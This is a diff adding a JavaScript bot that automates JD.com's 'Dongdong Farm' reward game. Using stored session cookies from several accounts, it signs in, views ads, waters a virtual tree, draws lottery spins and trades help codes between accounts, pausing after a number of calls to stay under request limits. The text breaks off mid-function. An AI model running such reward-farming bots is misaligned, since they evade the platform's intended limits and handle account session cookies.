+//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) + +let newShareCodes=[]; +let message = '', subTitle = '', option = {}, isFruitFinished = false; +const retainWater = $.isNode() ? (process.env.retainWater ? process.env.retainWater : 100) : ($.getdata('retainWater') ? $.getdata('retainWater') : 100);//保留水滴大于多少g,默认100g; +let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 +let jdFruitBeanCard = false;//农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`; +let NowHour = new Date().getHours(); +let llhelp=true; +if ($.isNode() && process.env.CC_NOHELPAFTER8) { + if (process.env.CC_NOHELPAFTER8=="true"){ + if (NowHour>8){ + llhelp=false; + console.log(`现在是9点后时段,不启用互助....`); + } + } +} +const fs = require('fs'); +let boolneedUpdate=false; +let strShare = './Fruit_ShareCache.json'; +let Fileexists = fs.existsSync(strShare); +let TempShareCache = []; +if (Fileexists) { + console.log("检测到东东农场缓存文件Fruit_ShareCache.json,载入..."); + TempShareCache = fs.readFileSync(strShare, 'utf-8'); + if (TempShareCache) { + TempShareCache = TempShareCache.toString(); + TempShareCache = JSON.parse(TempShareCache); + } +} + +let WP_APP_TOKEN_ONE = ""; +/* if ($.isNode()) { + if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; + } +} + +if (WP_APP_TOKEN_ONE) { + console.log(`检测到已配置Wxpusher的Token,启用一对一推送...`); + if (NowHour <9 || NowHour > 21) { + WP_APP_TOKEN_ONE = ""; + console.log(`农场只在9点后和22点前启用一对一推送,故此次暂时取消一对一推送...`); + } +} else + console.log(`检测到未配置Wxpusher的Token,禁用一对一推送...`); */ +let lnrun=0; +let llgetshare=false; +let NoNeedCodes = []; +!(async () => { + + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if (llhelp) { + console.log('开始收集您的互助码,用于账号内部互助,请稍等...'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + $.retry = 0; + llgetshare=false; + await GetCollect(); + if(llgetshare){ + await $.wait(5000); + lnrun++; + } + if(lnrun==10){ + console.log(`访问接口次数达到10次,休息一分钟.....`); + await $.wait(60*1000); + lnrun=0; + } + } + } + if (boolneedUpdate) { + var str = JSON.stringify(TempShareCache, null, 2); + fs.writeFile(strShare, str, function (err) { + if (err) { + console.log(err); + console.log("缓存文件Fruit_ShareCache.json更新失败!"); + } else { + console.log("缓存文件Fruit_ShareCache.json更新成功!"); + } + }) + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + $.retry = 0; + + lnrun++; + await jdFruit(); + if (lnrun == 5) { + console.log(`访问接口次数达到5次,休息一分钟.....`); + await $.wait(60 * 1000); + lnrun = 0; + } + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFruit() { + subTitle = `【京东账号${$.index}】${$.nickName || $.UserName}`; + try { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + message = `【水果名称】${$.farmInfo.farmUserPro.name}\n`; + console.log(`\n【已成功兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`); + message += `【已兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`; + await masterHelpShare();//助力好友 + if ($.farmInfo.treeState === 2 || $.farmInfo.treeState === 3) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看`); + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher($.name, `【京东账号】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n【领取步骤】京东->我的->东东农场兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); + } + return + } else if ($.farmInfo.treeState === 1) { + console.log(`\n${$.farmInfo.farmUserPro.name}种植中...\n`) + } else if ($.farmInfo.treeState === 0) { + //已下单购买, 但未开始种植新的水果 + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】 ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 您忘了种植新的水果`, `京东账号${$.index} ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果`); + } + return + } + await doDailyTask(); + await doTenWater();//浇水十次 + await getFirstWaterAward();//领取首次浇水奖励 + await getTenWaterAward();//领取10浇水奖励 + await getWaterFriendGotAward();//领取为2好友浇水奖励 + await duck(); + await doTenWaterAgain();//再次浇水 + await predictionFruit();//预测水果成熟时间 + } else { + console.log(`初始化农场数据异常, 请登录京东 app查看农场功能是否正常`); + message+=`初始化农场数据异常, 请登录京东 app查看农场功能是否正常`; + } + } catch (e) { + console.log(`任务执行异常,请检查执行日志 ‼️‼️`); + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } + await showMsg(); +} +async function doDailyTask() { + await taskInitForFarm(); + console.log(`开始签到`); + if (!$.farmTask.signInit.todaySigned) { + await signForFarm(); //签到 + if ($.signResult.code === "0") { + console.log(`【签到成功】获得${$.signResult.amount}g💧\\n`) + //message += `【签到成功】获得${$.signResult.amount}g💧\n`//连续签到${signResult.signDay}天 + } else { + // message += `签到失败,详询日志\n`; + console.log(`签到结果: ${JSON.stringify($.signResult)}`); + } + } else { + console.log(`今天已签到,连续签到${$.farmTask.signInit.totalSigned},下次签到可得${$.farmTask.signInit.signEnergyEachAmount}g\n`); + } + // 被水滴砸中 + console.log(`被水滴砸中: ${$.farmInfo.todayGotWaterGoalTask.canPop ? '是' : '否'}`); + if ($.farmInfo.todayGotWaterGoalTask.canPop) { + await gotWaterGoalTaskForFarm(); + if ($.goalResult.code === '0') { + console.log(`【被水滴砸中】获得${$.goalResult.addEnergy}g💧\\n`); + // message += `【被水滴砸中】获得${$.goalResult.addEnergy}g💧\n` + } + } + console.log(`签到结束,开始广告浏览任务`); + if ($.farmTask.gotBrowseTaskAdInit.f) { + console.log(`今天已经做过浏览广告任务\n`); + } else { + let adverts = $.farmTask.gotBrowseTaskAdInit.userBrowseTaskAds + let browseReward = 0 + let browseSuccess = 0 + let browseFail = 0 + for (let advert of adverts) { //开始浏览广告 + if (advert.limit <= advert.hadFinishedTimes) { + // browseReward+=advert.reward + console.log(`${advert.mainTitle}+ ' 已完成`);//,获得${advert.reward}g + continue; + } + console.log('正在进行广告浏览任务: ' + advert.mainTitle); + await browseAdTaskForFarm(advert.advertId, 0); + if ($.browseResult.code === '0') { + console.log(`${advert.mainTitle}浏览任务完成`); + //领取奖励 + await browseAdTaskForFarm(advert.advertId, 1); + if ($.browseRwardResult.code === '0') { + console.log(`领取浏览${advert.mainTitle}广告奖励成功,获得${$.browseRwardResult.amount}g`) + browseReward += $.browseRwardResult.amount + browseSuccess++ + } else { + browseFail++ + console.log(`领取浏览广告奖励结果: ${JSON.stringify($.browseRwardResult)}`) + } + } else { + browseFail++ + console.log(`广告浏览任务结果: ${JSON.stringify($.browseResult)}`); + } + } + if (browseFail > 0) { + console.log(`【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\\n`); + // message += `【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\n`; + } else { + console.log(`【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`); + // message += `【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`; + } + } + //定时领水 + if (!$.farmTask.gotThreeMealInit.f) { + // + await gotThreeMealForFarm(); + if ($.threeMeal.code === "0") { + console.log(`【定时领水】获得${$.threeMeal.amount}g💧\n`); + // message += `【定时领水】获得${$.threeMeal.amount}g💧\n`; + } else { + // message += `【定时领水】失败,详询日志\n`; + console.log(`定时领水成功结果: ${JSON.stringify($.threeMeal)}`); + } + } else { + console.log('当前不在定时领水时间断或者已经领过\n') + } + //给好友浇水 + if (!$.farmTask.waterFriendTaskInit.f) { + if ($.farmTask.waterFriendTaskInit.waterFriendCountKey < $.farmTask.waterFriendTaskInit.waterFriendMax) { + await doFriendsWater(); + } + } else { + console.log(`给${$.farmTask.waterFriendTaskInit.waterFriendMax}个好友浇水任务已完成\n`) + } + + await getAwardInviteFriend(); + await clockInIn();//打卡领水 + await executeWaterRains();//水滴雨 + await getExtraAward();//领取额外水滴奖励 + await turntableFarm()//天天抽奖得好礼 +} +async function predictionFruit() { + console.log('开始预测水果成熟时间\n'); + await initForFarm(); + await taskInitForFarm(); + let waterEveryDayT = $.farmTask.totalWaterTaskInit.totalWaterTaskTimes;//今天到到目前为止,浇了多少次水 + message += `【今日共浇水】${waterEveryDayT}次\n`; + message += `【剩余 水滴】${$.farmInfo.farmUserPro.totalEnergy}g💧\n`; + message += `【水果🍉进度】${(($.farmInfo.farmUserPro.treeEnergy / $.farmInfo.farmUserPro.treeTotalEnergy) * 100).toFixed(2)}%,已浇水${$.farmInfo.farmUserPro.treeEnergy / 10}次,还需${($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10}次\n` + if ($.farmInfo.toFlowTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { + message += `【开花进度】再浇水${$.farmInfo.toFlowTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次开花\n` + } else if ($.farmInfo.toFruitTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { + message += `【结果进度】再浇水${$.farmInfo.toFruitTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次结果\n` + } + // 预测n天后水果课可兑换功能 + let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10;//一共还需浇多少次水 + + let waterD = Math.ceil(waterTotalT / waterEveryDayT); + + message += `【预测】${waterD === 1 ? '明天' : waterD === 2 ? '后天' : waterD + '天之后'}(${timeFormat(24 * 60 * 60 * 1000 * waterD + Date.now())}日)可兑换水果🍉` +} +//浇水十次 +async function doTenWater() { + try { + jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; + if ($.isNode() && process.env.FRUIT_BEAN_CARD) { + jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; + } + await myCardInfoForFarm(); + const { + fastCard, + doubleCard, + beanCard, + signCard + } = $.myCardInfoRes; + /* if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match(`限时翻倍`) && beanCard > 0) { + console.log(`您设置的是使用水滴换豆卡,且背包有水滴换豆卡${beanCard}张, 跳过10次浇水任务`) + return + } */ + if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + console.log(`\n准备浇水十次`); + let waterCount = 0; + isFruitFinished = false; + for (; waterCount < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit - $.farmTask.totalWaterTaskInit.totalWaterTaskTimes; waterCount++) { + console.log(`第${waterCount + 1}次浇水`); + await waterGoodForFarm(); + console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log(`剩余水滴${$.waterResult.totalEnergy}g`); + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + if ($.waterResult.totalEnergy < 10) { + console.log(`水滴不够,结束浇水`) + break + } + await gotStageAward(); //领取阶段性水滴奖励 + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher($.name, `【京东账号】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n【领取步骤】京东->我的->东东农场兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); + } + } + } else { + console.log('\n今日已完成10次浇水任务\n'); + } + } catch (e) { + console.log(`doTenWater 任务执行异常‼️‼️`); + $.logErr(e); + } +} +//领取首次浇水奖励 +async function getFirstWaterAward() { + await taskInitForFarm(); + //领取首次浇水奖励 + if (!$.farmTask.firstWaterInit.f && $.farmTask.firstWaterInit.totalWaterTimes > 0) { + await firstWaterTaskForFarm(); + if ($.firstWaterReward.code === '0') { + console.log(`【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`); + // message += `【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`; + } else { + // message += '【首次浇水奖励】领取奖励失败,详询日志\n'; + console.log(`领取首次浇水奖励结果: ${JSON.stringify($.firstWaterReward)}`); + } + } else { + console.log('首次浇水奖励已领取\n') + } +} +//领取十次浇水奖励 +async function getTenWaterAward() { + //领取10次浇水奖励 + if (!$.farmTask.totalWaterTaskInit.f && $.farmTask.totalWaterTaskInit.totalWaterTaskTimes >= $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + await totalWaterTaskForFarm(); + if ($.totalWaterReward.code === '0') { + console.log(`【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`); + // message += `【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`; + } else { + // message += '【十次浇水奖励】领取奖励失败,详询日志\n'; + console.log(`领取10次浇水奖励结果: ${JSON.stringify($.totalWaterReward)}`); + } + } else if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + // message += `【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`; + console.log(`【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`); + } + console.log('finished 水果任务完成!'); +} +//再次浇水 +async function doTenWaterAgain() { + console.log('开始检查剩余水滴能否再次浇水再次浇水\n'); + await initForFarm(); + let totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + console.log(`剩余水滴${totalEnergy}g\n`); + await myCardInfoForFarm(); + const { fastCard, doubleCard, beanCard, signCard } = $.myCardInfoRes; + console.log(`背包已有道具:\n快速浇水卡:${fastCard === -1 ? '未解锁' : fastCard + '张'}\n水滴翻倍卡:${doubleCard === -1 ? '未解锁' : doubleCard + '张'}\n水滴换京豆卡:${beanCard === -1 ? '未解锁' : beanCard + '张'}\n加签卡:${signCard === -1 ? '未解锁' : signCard + '张'}\n`) + if (totalEnergy >= 100 && doubleCard > 0) { + //使用翻倍水滴卡 + for (let i = 0; i < new Array(doubleCard).fill('').length; i++) { + await userMyCardForFarm('doubleCard'); + console.log(`使用翻倍水滴卡结果:${JSON.stringify($.userMyCardRes)}`); + } + await initForFarm(); + totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + } + if (signCard > 0) { + //使用加签卡 + for (let i = 0; i < new Array(signCard).fill('').length; i++) { + await userMyCardForFarm('signCard'); + console.log(`使用加签卡结果:${JSON.stringify($.userMyCardRes)}`); + } + await initForFarm(); + totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + } + jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; + if ($.isNode() && process.env.FRUIT_BEAN_CARD) { + jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; + } + if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match('限时翻倍')) { + console.log(`\n您设置的是水滴换豆功能,现在为您换豆`); + + for (let lncount = 0; lncount < $.myCardInfoRes.beanCard; lncount++) { + if (totalEnergy >= 150 && $.myCardInfoRes.beanCard > 0) { + //使用水滴换豆卡 + await userMyCardForFarm('beanCard'); + console.log(`使用水滴换豆卡结果:${JSON.stringify($.userMyCardRes)}`); + if ($.userMyCardRes.code === '0') { + totalEnergy=totalEnergy-100; + message += `【水滴换豆卡】获得${$.userMyCardRes.beanCount}个京豆\n`; + } + } else { + console.log(`您目前水滴:${totalEnergy}g,水滴换豆卡${$.myCardInfoRes.beanCard}张,暂不满足水滴换豆的条件,为您继续浇水`) + break; + } + } + return; + } + // if (totalEnergy > 100 && $.myCardInfoRes.fastCard > 0) { + // //使用快速浇水卡 + // await userMyCardForFarm('fastCard'); + // console.log(`使用快速浇水卡结果:${JSON.stringify($.userMyCardRes)}`); + // if ($.userMyCardRes.code === '0') { + // console.log(`已使用快速浇水卡浇水${$.userMyCardRes.waterEnergy}g`); + // } + // await initForFarm(); + // totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + // } + // 所有的浇水(10次浇水)任务,获取水滴任务完成后,如果剩余水滴大于等于60g,则继续浇水(保留部分水滴是用于完成第二天的浇水10次的任务) + let overageEnergy = totalEnergy - retainWater; + if (totalEnergy >= ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy)) { + //如果现有的水滴,大于水果可兑换所需的对滴(也就是把水滴浇完,水果就能兑换了) + isFruitFinished = false; + for (let i = 0; i < ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10; i++) { + await waterGoodForFarm(); + console.log(`本次浇水结果(水果马上就可兑换了): ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log('\n浇水10g成功\n'); + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + console.log(`目前水滴【${$.waterResult.totalEnergy}】g,继续浇水,水果马上就可以兑换了`) + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher($.name, `【京东账号】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n【领取步骤】京东->我的->东东农场兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); + } + } + } else if (overageEnergy >= 10) { + console.log("目前剩余水滴:【" + totalEnergy + "】g,可继续浇水"); + isFruitFinished = false; + for (let i = 0; i < parseInt(overageEnergy / 10); i++) { + await waterGoodForFarm(); + console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log(`\n浇水10g成功,剩余${$.waterResult.totalEnergy}\n`) + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + await gotStageAward() + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher($.name, `【京东账号】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n【领取步骤】京东->我的->东东农场兑换京东红包,可以用于京东app的任意商品.`, `${$.UserName}`); + } + } + } else { + console.log("目前剩余水滴:【" + totalEnergy + "】g,不再继续浇水,保留部分水滴用于完成第二天【十次浇水得水滴】任务") + } +} +//领取阶段性水滴奖励 +function gotStageAward() { + return new Promise(async resolve => { + if ($.waterResult.waterStatus === 0 && $.waterResult.treeEnergy === 10) { + console.log('果树发芽了,奖励30g水滴'); + await gotStageAwardForFarm('1'); + console.log(`浇水阶段奖励1领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`; + console.log(`【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`); + } + } else if ($.waterResult.waterStatus === 1) { + console.log('果树开花了,奖励40g水滴'); + await gotStageAwardForFarm('2'); + console.log(`浇水阶段奖励2领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; + console.log(`【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); + } + } else if ($.waterResult.waterStatus === 2) { + console.log('果树长出小果子啦, 奖励50g水滴'); + await gotStageAwardForFarm('3'); + console.log(`浇水阶段奖励3领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`) + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; + console.log(`【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); + } + } + resolve() + }) +} +//天天抽奖活动 +async function turntableFarm() { + await initForTurntableFarm(); + if ($.initForTurntableFarmRes.code === '0') { + //领取定时奖励 //4小时一次 + let { timingIntervalHours, timingLastSysTime, sysTime, timingGotStatus, remainLotteryTimes, turntableInfos } = $.initForTurntableFarmRes; + + if (!timingGotStatus) { + console.log(`是否到了领取免费赠送的抽奖机会----${sysTime > (timingLastSysTime + 60 * 60 * timingIntervalHours * 1000)}`) + if (sysTime > (timingLastSysTime + 60 * 60 * timingIntervalHours * 1000)) { + await timingAwardForTurntableFarm(); + console.log(`领取定时奖励结果${JSON.stringify($.timingAwardRes)}`); + await initForTurntableFarm(); + remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; + } else { + console.log(`免费赠送的抽奖机会未到时间`) + } + } else { + console.log('4小时候免费赠送的抽奖机会已领取') + } + if ($.initForTurntableFarmRes.turntableBrowserAds && $.initForTurntableFarmRes.turntableBrowserAds.length > 0) { + for (let index = 0; index < $.initForTurntableFarmRes.turntableBrowserAds.length; index++) { + if (!$.initForTurntableFarmRes.turntableBrowserAds[index].status) { + console.log(`开始浏览天天抽奖的第${index + 1}个逛会场任务`) + await browserForTurntableFarm(1, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); + if ($.browserForTurntableFarmRes.code === '0' && $.browserForTurntableFarmRes.status) { + console.log(`第${index + 1}个逛会场任务完成,开始领取水滴奖励\n`) + await browserForTurntableFarm(2, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); + if ($.browserForTurntableFarmRes.code === '0') { + console.log(`第${index + 1}个逛会场任务领取水滴奖励完成\n`) + await initForTurntableFarm(); + remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; + } + } + } else { + console.log(`浏览天天抽奖的第${index + 1}个逛会场任务已完成`) + } + } + } + //天天抽奖助力 + console.log('开始天天抽奖--好友助力--每人每天只有三次助力机会.') + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('天天抽奖-不能自己给自己助力\n') + continue + } + await lotteryMasterHelp(code); + // console.log('天天抽奖助力结果',lotteryMasterHelpRes.helpResult) + if ($.lotteryMasterHelpRes.helpResult.code === '0') { + console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}成功\n`) + } else if ($.lotteryMasterHelpRes.helpResult.code === '11') { + console.log(`天天抽奖-不要重复助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}\n`) + } else if ($.lotteryMasterHelpRes.helpResult.code === '13') { + console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}失败,助力次数耗尽\n`); + break; + } + } + console.log(`---天天抽奖次数remainLotteryTimes----${remainLotteryTimes}次`) + //抽奖 + if (remainLotteryTimes > 0) { + console.log('开始抽奖') + let lotteryResult = ''; + for (let i = 0; i < new Array(remainLotteryTimes).fill('').length; i++) { + await lotteryForTurntableFarm() + console.log(`第${i + 1}次抽奖结果${JSON.stringify($.lotteryRes)}`); + if ($.lotteryRes.code === '0') { + turntableInfos.map((item) => { + if (item.type === $.lotteryRes.type) { + console.log(`lotteryRes.type${$.lotteryRes.type}`); + if ($.lotteryRes.type.match(/bean/g) && $.lotteryRes.type.match(/bean/g)[0] === 'bean') { + lotteryResult += `${item.name}个,`; + } else if ($.lotteryRes.type.match(/water/g) && $.lotteryRes.type.match(/water/g)[0] === 'water') { + lotteryResult += `${item.name},`; + } else { + lotteryResult += `${item.name},`; + } + } + }) + //没有次数了 + if ($.lotteryRes.remainLotteryTimes === 0) { + break + } + } + } + if (lotteryResult) { + console.log(`【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`) + // message += `【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`; + } + } else { + console.log('天天抽奖--抽奖机会为0次') + } + } else { + console.log('初始化天天抽奖得好礼失败') + } +} +//领取额外奖励水滴 +async function getExtraAward() { + await farmAssistInit(); + if ($.farmAssistResult.code === "0") { + if ($.farmAssistResult.assistFriendList && $.farmAssistResult.assistFriendList.length >= 2) { + if ($.farmAssistResult.status === 2) { + let num = 0; + for (let key of Object.keys($.farmAssistResult.assistStageList)) { + let vo = $.farmAssistResult.assistStageList[key] + if (vo.stageStaus === 2) { + await receiveStageEnergy() + if ($.receiveStageEnergy.code === "0") { + console.log(`已成功领取第${key + 1}阶段好友助力奖励:【${$.receiveStageEnergy.amount}】g水`) + num += $.receiveStageEnergy.amount + } + } + } + message += `【额外奖励】${num}g水领取成功\n`; + } else if ($.farmAssistResult.status === 3) { + console.log("已经领取过8好友助力额外奖励"); + message += `【额外奖励】已被领取过\n`; + } + } else { + console.log("助力好友未达到2个"); + message += `【额外奖励】领取失败,原因:给您助力的人未达2个\n`; + } + if ($.farmAssistResult.assistFriendList && $.farmAssistResult.assistFriendList.length > 0) { + let str = ''; + $.farmAssistResult.assistFriendList.map((item, index) => { + if (index === 